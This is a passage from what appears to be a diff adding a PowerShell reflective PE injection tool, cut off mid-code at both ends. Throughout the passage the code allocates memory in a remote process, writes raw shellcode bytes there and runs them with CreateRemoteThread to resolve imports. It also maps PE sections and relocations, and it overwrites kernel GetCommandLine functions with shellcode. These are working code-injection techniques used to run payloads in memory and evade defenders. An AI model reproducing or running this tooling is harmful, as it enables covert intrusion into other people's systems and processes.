$Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [IntPtr] + $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) + + [Parameter(Position=3, Mandatory=$true)] + [Bool] + $LoadByOrdinal + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal + #If not loading by ordinal, write the function name to the remote process memory + if (-not $LoadByOrdinal) + { + $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + } + #If loading by ordinal, just set RFuncNamePtr to be the ordinal number + else + { + $RFuncNamePtr = $FunctionNamePtr + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + #Cleanup remote process memory + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + if (-not $LoadByOrdinal) + { + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + Write-Verbose "Importing $ImportDllPath" + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + #Write-Verbose "Imported $ImportDllPath to remote process" + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + #Write-Verbose "Imported $ImportDllPath" + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $LoadByOrdinal = $false + [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal + + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) + } + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + if ($LoadByOrdinal) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" + } + else + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + #Cleanup + #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed + if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) + { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) + $ProcedureNamePtr = [IntPtr]::Zero + } + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, 